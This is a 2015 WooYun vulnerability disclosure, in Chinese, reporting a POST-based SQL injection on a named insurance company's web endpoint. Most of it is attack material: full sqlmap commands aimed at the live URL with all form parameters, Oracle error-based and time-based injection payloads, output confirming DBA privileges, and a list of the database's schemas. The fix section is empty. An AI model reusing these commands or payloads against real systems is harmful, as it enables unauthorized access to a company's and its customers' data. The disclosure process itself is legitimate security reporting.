当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139131

漏洞标题:泛华某站存在Post注入DBA权限

相关厂商:泛华保险服务集团

漏洞作者: SuperRookie

提交时间:2015-09-05 12:47

修复时间:2015-10-25 10:34

公开时间:2015-10-25 10:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-05: 细节已通知厂商并且等待厂商处理中
2015-09-10: 厂商已经确认,细节仅向厂商公开
2015-09-20: 细节向核心白帽子及相关领域专家公开
2015-09-30: 细节向普通白帽子公开
2015-10-10: 细节向实习白帽子公开
2015-10-25: 细节向公众公开

简要描述:

泛华是一家很大方的保险公司 我喜欢大方的保险公司

详细说明:

sqlmap -u "http://ess.cninsure.net/product/common/cvar/CExec.jsp" --data "txtVarData=88952634&txtOther=88952634&txtFrameName=88952634&txtSQL=88952634&startIndex=88952634&txtQueryResult=88952634&mOperate=88952634&txtCodeCondition=88952634&txtConditionField=88952634&txtShowWidth=88952634&txtCodeName=88952634" --is-dba


漏洞证明:

表什么的太多了 懒得复制 随便截图了

sqlmap -u "http://ess.cninsure.net/product/common/cvar/CExec.jsp" --data "txtVarData=88952634&txtOther=88952634&txtFrameName=88952634&txtSQL=88952634&startIndex=88952634&txtQueryResult=88952634&mOperate=88952634&txtCodeCondition=88952634&txtConditionField=88952634&txtShowWidth=88952634&txtCodeName=88952634" --is-dba
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150816}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:15:01
[12:15:01] [INFO] resuming back-end DBMS 'oracle'
[12:15:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: txtCodeCondition (POST)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: txtVarData=88952634&txtOther=88952634&txtFrameName=88952634&txtSQL=88952634&startIndex=88952634&txtQueryResult=88952634&mOperate=88952634&txtCodeCondition=88952634'||(SELECT 'BWin' FROM DUAL WHERE 4453=4453 AND 4692=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (4692=4692) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(112)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL))||'&txtConditionField=88952634&txtShowWidth=88952634&txtCodeName=88952634
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: txtVarData=88952634&txtOther=88952634&txtFrameName=88952634&txtSQL=88952634&startIndex=88952634&txtQueryResult=88952634&mOperate=88952634&txtCodeCondition=88952634'||(SELECT 'QgBW' FROM DUAL WHERE 9076=9076 AND 1193=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(110)||CHR(65)||CHR(69),5))||'&txtConditionField=88952634&txtShowWidth=88952634&txtCodeName=88952634
---
[12:15:01] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[12:15:01] [INFO] testing if current user is DBA
current user is DBA: True
[12:15:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/ess.cninsure.net'


DBA 权限 你懂的

sqlmap -u "http://ess.cninsure.net/product/common/cvar/CExec.jsp" --data "txtVarData=88952634&txtOther=88952634&txtFrameName=88952634&txtSQL=88952634&startIndex=88952634&txtQueryResult=88952634&mOperate=88952634&txtCodeCondition=88952634&txtConditionField=88952634&txtShowWidth=88952634&txtCodeName=88952634" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150816}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:16:24
[12:16:24] [INFO] resuming back-end DBMS 'oracle'
[12:16:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: txtCodeCondition (POST)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: txtVarData=88952634&txtOther=88952634&txtFrameName=88952634&txtSQL=88952634&startIndex=88952634&txtQueryResult=88952634&mOperate=88952634&txtCodeCondition=88952634'||(SELECT 'BWin' FROM DUAL WHERE 4453=4453 AND 4692=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (4692=4692) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(112)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL))||'&txtConditionField=88952634&txtShowWidth=88952634&txtCodeName=88952634
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: txtVarData=88952634&txtOther=88952634&txtFrameName=88952634&txtSQL=88952634&startIndex=88952634&txtQueryResult=88952634&mOperate=88952634&txtCodeCondition=88952634'||(SELECT 'QgBW' FROM DUAL WHERE 9076=9076 AND 1193=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(110)||CHR(65)||CHR(69),5))||'&txtConditionField=88952634&txtShowWidth=88952634&txtCodeName=88952634
---
[12:16:24] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[12:16:24] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[12:16:24] [INFO] fetching database (schema) names
[12:16:24] [INFO] the SQL query used returns 13 entries
[12:16:24] [INFO] resumed: CALLCENTER
[12:16:24] [INFO] resumed: DBSNMP
[12:16:24] [INFO] resumed: INSWELL
[12:16:24] [INFO] resumed: OUTLN
[12:16:24] [INFO] resumed: PORTALDATA
[12:16:24] [INFO] resumed: PORTALPUBLIC
[12:16:24] [INFO] resumed: PRODUCTDATA
[12:16:24] [INFO] resumed: PROPOSAL
[12:16:24] [INFO] resumed: SYS
[12:16:24] [INFO] resumed: SYSTEM
[12:16:24] [INFO] resumed: TSMSYS
[12:16:24] [INFO] resumed: WEIXIN_DB
[12:16:24] [INFO] resumed: WMSYS
available databases [13]:
[*] CALLCENTER
[*] DBSNMP
[*] INSWELL
[*] OUTLN
[*] PORTALDATA
[*] PORTALPUBLIC
[*] PRODUCTDATA
[*] PROPOSAL
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] WEIXIN_DB
[*] WMSYS
[12:16:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/ess.cninsure.net'
[*] shutting down at 12:16:24

至于多少 表 你们懂得

修复方案:

版权声明:转载请注明来源 SuperRookie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-10 10:33

厂商回复:

非常感谢,已在处理。

最新状态:

暂无